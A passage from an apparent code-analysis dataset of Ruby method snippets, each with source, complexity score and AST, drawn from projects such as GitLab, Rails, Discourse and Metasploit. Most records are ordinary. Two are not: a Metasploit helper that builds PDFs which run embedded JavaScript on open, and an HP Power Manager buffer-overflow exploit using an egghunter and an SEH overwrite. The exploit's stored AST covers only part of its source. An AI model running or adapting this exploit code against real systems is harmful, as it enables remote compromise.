\"sym\",\"children\":[\"request_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queries\"]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration_ms\"]},{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"log_info\"]}]}]}]}]}","id":"726c8d2f-59cb-497b-87c2-48b1beb2e3cc"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/app/contracts/grids/base_contract.rb","start_line":66,"raw_source":"def assignable_widgets\n      all_allowed_widget_identifiers(user)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assignable_widgets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"all_allowed_widget_identifiers\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}","id":"c6c110e7-4f53-4a1d-a9ee-c34e1bd9ff1b"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_model_attr_accessible.rb","start_line":44,"raw_source":"def role_limited? model, attribute\n    role_accessible = model.role_accessible\n    return if role_accessible.nil?\n    role_accessible.include? attribute\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"role_limited?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"role_accessible\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"role_accessible\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role_accessible\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role_accessible\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}","id":"08752206-5831-4a43-846b-48fa63185b1e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/pdf.rb","start_line":298,"raw_source":"def pdf_with_openaction_js(js,strFilter)\n    @xref = {}\n    @pdf = ''\n\n    @pdf << header\n\n    add_object(1, nobfu(\"<</Type/Catalog/Outlines \") << io_ref(2) << nobfu(\"/Pages \") << io_ref(3) << \">>\")\n    add_object(2, nobfu(\"<</Type/Outlines/Count 0>>\"))\n    add_object(3, nobfu(\"<</Type/Pages/Kids[\") << io_ref(4) << nobfu(\"]/Count 1>>\"))\n    add_object(4, nobfu(\"<</Type/Page/Parent \") << io_ref(3) << nobfu(\"/MediaBox[%s %s %s %s] \" % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(\" /AA << /O << /JS \") << io_ref(5) << nobfu(\"/S /JavaScript >>>>>>\"))\n    compressed = js\n    stream = \"<</Length %s/Filter[\" % compressed.length << strFilter << \"]>>\" << eol\n    stream << \"stream\" << eol\n    stream << compressed << eol\n    stream << \"endstream\" << eol\n    add_object(5, stream)\n\n    finish_pdf\n  end","complexity_score":90.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pdf_with_openaction_js\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"js\"]},{\"type\":\"arg\",\"children\":[\"strFilter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@xref\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@pdf\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"header\"]}]},{\"type\":\"send\",\"children\":[null,\"add_object\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"<</Type/Catalog/Outlines \"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"io_ref\",{\"type\":\"int\",\"children\":[2]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"/Pages \"]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"io_ref\",{\"type\":\"int\",\"children\":[3]}]}]},\"<<\",{\"type\":\"str\",\"children\":[\">>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_object\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"<</Type/Outlines/Count 0>>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_object\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"<</Type/Pages/Kids[\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"io_ref\",{\"type\":\"int\",\"children\":[4]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"]/Count 1>>\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_object\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"<</Type/Page/Parent \"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"io_ref\",{\"type\":\"int\",\"children\":[3]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/MediaBox[%s %s %s %s] \"]},\"%\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[300]}]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[300]}]}]}]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\" /AA << /O << /JS \"]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"io_ref\",{\"type\":\"int\",\"children\":[5]}]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"nobfu\",{\"type\":\"str\",\"children\":[\"/S /JavaScript >>>>>>\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compressed\",{\"type\":\"lvar\",\"children\":[\"js\"]}]},{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<</Length %s/Filter[\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compressed\"]},\"length\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"strFilter\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"]>>\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"eol\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"<<\",{\"type\":\"str\",\"children\":[\"stream\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"eol\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"compressed\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"eol\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"<<\",{\"type\":\"str\",\"children\":[\"endstream\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"eol\"]}]},{\"type\":\"send\",\"children\":[null,\"add_object\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"lvar\",\"children\":[\"stream\"]}]},{\"type\":\"send\",\"children\":[null,\"finish_pdf\"]}]}]}","id":"cb5299d0-2a09-4de7-a3b0-c4e18bbe7605"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/verify/ci_secure_files.rb","start_line":32,"raw_source":"def remote_object_exists?(secure_file)\n        secure_file.file.file.exists?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_object_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"secure_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secure_file\"]},\"file\"]},\"file\"]},\"exists?\"]}]}","id":"6ee6e7d6-68de-43a5-92c6-236c8549cb75"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/ci/instance_variables_spec.rb","start_line":94,"raw_source":"def pagination_query(params)\n      graphql_query_for(\n        :ci_variables,\n        params,\n        \"#{page_info} nodes { id }\"\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"sym\",\"children\":[\"ci_variables\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page_info\"]}]},{\"type\":\"str\",\"children\":[\" nodes { id }\"]}]}]}]}","id":"08e2309d-0229-425e-8e60-ee79f912adbb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/kubernetes/agent_helpers.rb","start_line":137,"raw_source":"def retrieve_user_from_personal_access_token\n          return unless access_token.present?\n\n          validate_and_save_access_token!(scopes: [Gitlab::Auth::K8S_PROXY_SCOPE])\n\n          ::PersonalAccessTokens::LastUsedService.new(access_token).execute\n\n          access_token.user || raise(UnauthorizedError)\n        end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve_user_from_personal_access_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_token\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"validate_and_save_access_token!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scopes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"K8S_PROXY_SCOPE\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"PersonalAccessTokens\"]},\"LastUsedService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"access_token\"]}]},\"execute\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_token\"]},\"user\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnauthorizedError\"]}]}]}]}]}","id":"00f6305d-4e19-4b18-9acc-8e3c64ad159a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":428,"raw_source":"def test_finding_with_order_concatenated\n    topics = Topic.order(\"author_name\").order(\"title\")\n    assert_equal 5, topics.to_a.size\n    assert_equal topics(:fourth).title, topics.first.title\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_finding_with_order_concatenated\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"order\",{\"type\":\"str\",\"children\":[\"author_name\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"to_a\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"fourth\"]}]},\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"first\"]},\"title\"]}]}]}]}","id":"b4f25f30-462c-430b-94db-dd94d87f4b65"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/flag.rb","start_line":9,"raw_source":"def choose_type(type)\n        body.find(\"#radio_#{type}\").click\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"choose_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#radio_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},\"click\"]}]}","id":"be11a169-cfb4-4254-b84d-2f7d3e6a0d48"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/storage_file.rb","start_line":9,"raw_source":"def self.is_snapshot_disk_file(file)\n    return false unless file.ext_name == \"vmdk\"\n\n    basename = File.basename(file.name, \".vmdk\")\n    i = basename.rindex('-')\n    test_str = i.nil? ? basename : basename[i + 1..-1]\n    test_str == \"delta\" || test_str =~ /^\\d{6}$/\n  end","complexity_score":16.28,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_snapshot_disk_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"ext_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"vmdk\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"name\"]},{\"type\":\"str\",\"children\":[\".vmdk\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"basename\"]},\"rindex\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"test_str\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"nil?\"]},{\"type\":\"lvar\",\"children\":[\"basename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"basename\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_str\"]},\"==\",{\"type\":\"str\",\"children\":[\"delta\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_str\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\d{6}$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}","id":"4907a71b-f980-4d6f-b4b7-65ef6cdc5725"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":3772,"raw_source":"def integration_instances\n    @integration_instances ||= Integration.for_instance\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"integration_instances\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@integration_instances\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integration\"]},\"for_instance\"]}]}]}","id":"cc7f0ad5-b925-43e7-875f-69171bfa4291"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/concerns/emoji_reactions/grouped_queries.rb","start_line":42,"raw_source":"def grouped_emoji_reactions_by_reactable(**)\n        grouped_emoji_reactions(**)\n          .each_with_object(Hash.new { |h, k| h[k] = {} }) do |row, hash|\n          hash[row.reactable_id][row.reaction.to_sym] = {\n            count: row.reactions_count,\n            users: row.reacting_users.map { |(id, name)| { id:, name: } }\n          }\n        end\n      end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"grouped_emoji_reactions_by_reactable\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"grouped_emoji_reactions\",{\"type\":\"hash\",\"children\":[{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]}]},\"each_with_object\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"reactable_id\"]}]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"reaction\"]},\"to_sym\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"reactions_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"reacting_users\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}]}]}]}","id":"9711e61e-e295-4ef8-aa30-40de237c6564"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/reviewable.rb","start_line":817,"raw_source":"def self.destroy_unknown_types!\n    Reviewable.pending.where.not(type: Reviewable.sti_names).delete_all\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"destroy_unknown_types!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reviewable\"]},\"pending\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reviewable\"]},\"sti_names\"]}]}]}]},\"delete_all\"]}]}","id":"2a38fb63-7a9d-450c-9d17-57e809540a39"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/hp_power_manager_filename.rb","start_line":68,"raw_source":"def exploit\n    print_status(\"Generating payload...\")\n\n    # Randomize the tag by not specifying one\n    eggoptions = { :checksum => true }\n\n    hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)\n\n    buffer = rand_text_alpha_upper(target['Offset'] - hunter.length)\n    buffer << make_nops(30) + hunter\n    buffer << \"\\xeb\\xc2\\x90\\x90\" # JMP SHORT 0xC2\n    buffer << [target.ret].pack('V*')[0, 3] # SEH (strip the null byte, HP PM will pad it for us)\n\n    # Let's make the request a little bit more realistic looking\n    time = Time.new\n\n    print_status(\"Trying target #{target.name}...\")\n    connect\n\n    request = send_request_cgi({\n      'method' => 'POST',\n      'uri' => '/goform/formExportDataLogs',\n      'vars_post' => {\n        'dataFormat' => 'comma',\n        'exportto' => 'file',\n        'fileName' => buffer,\n        'bMonth' => \"%02d\" % time.month,\n        'bDay' => \"%02d\" % time.day,\n        'bYear' => time.year.to_s,\n        'eMonth' => \"%02d\" % time.month,\n        'eDay' => \"%02d\" % time.day,\n        'eYear' => time.year.to_s,\n        'LogType' => 'Application',\n        'actionType' => '1%3B'\n      },\n      'headers' =>\n        {\n          'Accept' => egg,\n          'Referer' => \"http://#{rhost}/Contents/exportLogs.asp?logType=Application\"\n        }\n    }, 5)\n\n    print_status(\"Payload sent! Go grab a coffee, the CPU is gonna work hard for you! :)\")\n\n    # Wait for a bit longer. For some reason it may take some time for the process to start\n    # handling our request.\n    select(nil, nil, nil, 7)\n\n    handler\n    disconnect\n  end","complexity_score":59.75,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/goform/formExportDataLogs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"dataFormat\"]},{\"type\":\"str\",\"children\":[\"comma\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"exportto\"]},{\"type\":\"str\",\"children\":[\"file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fileName\"]},{\"type\":\"lvar\",\"children\":[\"buffer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bMonth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02d\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"month\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bDay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02d\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"day\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bYear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"year\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"eMonth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02d\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"month\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"eDay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02d\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"day\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"eYear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"year\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LogType\"]},{\"type\":\"str\",\"children\":[\"Application\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"actionType\"]},{\"type\":\"str\",\"children\":[\"1%3B\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"lvar\",\"children\":[\"egg\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Referer\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\"/Contents/exportLogs.asp?logType=Application\"]}]}]}]}]}]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Payload sent! Go grab a coffee, the CPU is gonna work hard for you! :)\"]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"4bc88d9e-3cf3-490d-abaa-bb3c901f21b9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extension_mapper.rb","start_line":96,"raw_source":"def self.dump_extensions\n    self.get_extension_names.each { |n|\n      STDERR.puts(\"EXTENSION_ID_#{n.upcase} = #{self.get_extension_id(n)}\\n\")\n    }\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dump_extensions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_extension_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDERR\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"EXTENSION_ID_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"upcase\"]}]},{\"type\":\"str\",\"children\":[\" = 